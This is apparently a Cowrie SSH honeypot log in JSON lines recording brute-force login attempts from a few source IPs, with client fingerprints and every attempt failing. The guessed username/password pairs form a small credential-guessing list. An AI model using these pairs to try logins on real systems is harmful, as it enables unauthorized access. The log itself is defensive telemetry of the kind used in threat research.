{"eventid":"cowrie.login.failed","username":"postgres","password":"12345678","message":"login attempt [postgres/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:13.529888Z","src_ip":"176.65.139.95","session":"2a11790d139d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:14.641332Z","src_ip":"176.65.139.95","session":"2a11790d139d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":34096,"dst_ip":"159.203.135.109","dst_port":22,"session":"f254767b356d","protocol":"ssh","message":"New connection: 176.65.139.95:34096 (159.203.135.109:22) [session: f254767b356d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:19.466325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:19.471538Z","src_ip":"176.65.139.95","session":"f254767b356d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:19.579866Z","src_ip":"176.65.139.95","session":"f254767b356d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stack","password":"stack","message":"login attempt [stack/stack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:19.840497Z","src_ip":"176.65.139.95","session":"f254767b356d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:20.940261Z","src_ip":"176.65.139.95","session":"f254767b356d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":34106,"dst_ip":"159.203.135.109","dst_port":22,"session":"b34e9e647698","protocol":"ssh","message":"New connection: 176.65.139.95:34106 (159.203.135.109:22) [session: b34e9e647698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:26.005578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:26.011239Z","src_ip":"176.65.139.95","session":"b34e9e647698","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:26.093808Z","src_ip":"176.65.139.95","session":"b34e9e647698","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste","password":"teste","message":"login attempt [teste/teste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:26.349000Z","src_ip":"176.65.139.95","session":"b34e9e647698","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:27.453053Z","src_ip":"176.65.139.95","session":"b34e9e647698","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":59280,"dst_ip":"159.203.135.109","dst_port":22,"session":"63ffb6491349","protocol":"ssh","message":"New connection: 176.65.139.95:59280 (159.203.135.109:22) [session: 63ffb6491349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:32.423975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:32.428597Z","src_ip":"176.65.139.95","session":"63ffb6491349","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:32.522616Z","src_ip":"176.65.139.95","session":"63ffb6491349","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:32.810227Z","src_ip":"176.65.139.95","session":"63ffb6491349","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:33.999280Z","src_ip":"176.65.139.95","session":"63ffb6491349","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55616,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd1afb65e09c","protocol":"ssh","message":"New connection: 159.203.92.129:55616 (159.203.135.109:22) [session: dd1afb65e09c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:34.145713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:34.151067Z","src_ip":"159.203.92.129","session":"dd1afb65e09c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:34.155728Z","src_ip":"159.203.92.129","session":"dd1afb65e09c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"DisabilityWhiteList","password":"123456","message":"login attempt [DisabilityWhiteList/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:34.168280Z","src_ip":"159.203.92.129","session":"dd1afb65e09c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:35.176693Z","src_ip":"159.203.92.129","session":"dd1afb65e09c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":39554,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d1cfe4f1f8b","protocol":"ssh","message":"New connection: 176.65.139.95:39554 (159.203.135.109:22) [session: 7d1cfe4f1f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:39.171713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:39.194255Z","src_ip":"176.65.139.95","session":"7d1cfe4f1f8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:39.255543Z","src_ip":"176.65.139.95","session":"7d1cfe4f1f8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apollo","password":"apollo","message":"login attempt [apollo/apollo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:39.597591Z","src_ip":"176.65.139.95","session":"7d1cfe4f1f8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:40.692373Z","src_ip":"176.65.139.95","session":"7d1cfe4f1f8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":39564,"dst_ip":"159.203.135.109","dst_port":22,"session":"619e8fa77c92","protocol":"ssh","message":"New connection: 176.65.139.95:39564 (159.203.135.109:22) [session: 619e8fa77c92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:45.641145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:45.651069Z","src_ip":"176.65.139.95","session":"619e8fa77c92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:45.736927Z","src_ip":"176.65.139.95","session":"619e8fa77c92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clawdbot","password":"clawdbot","message":"login attempt [clawdbot/clawdbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:46.136475Z","src_ip":"176.65.139.95","session":"619e8fa77c92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:47.225506Z","src_ip":"176.65.139.95","session":"619e8fa77c92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.116.23.158","src_port":59156,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d9fca63ee9b","protocol":"ssh","message":"New connection: 79.116.23.158:59156 (10.17.0.5:22) [session: 3d9fca63ee9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:48.250836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:48.256138Z","src_ip":"79.116.23.158","session":"3d9fca63ee9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:48.363855Z","src_ip":"79.116.23.158","session":"3d9fca63ee9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu123","message":"login attempt [ubuntu/Ubuntu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:48.820103Z","src_ip":"79.116.23.158","session":"3d9fca63ee9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:49.932458Z","src_ip":"79.116.23.158","session":"3d9fca63ee9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":58282,"dst_ip":"159.203.135.109","dst_port":22,"session":"1afe65730987","protocol":"ssh","message":"New connection: 176.65.139.95:58282 (159.203.135.109:22) [session: 1afe65730987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:52.411836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:52.417571Z","src_ip":"176.65.139.95","session":"1afe65730987","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:52.515406Z","src_ip":"176.65.139.95","session":"1afe65730987","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:52.935464Z","src_ip":"176.65.139.95","session":"1afe65730987","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:54.028123Z","src_ip":"176.65.139.95","session":"1afe65730987","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":54558,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c1a39f80167","protocol":"ssh","message":"New connection: 176.65.139.95:54558 (159.203.135.109:22) [session: 1c1a39f80167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:58.659388Z"}
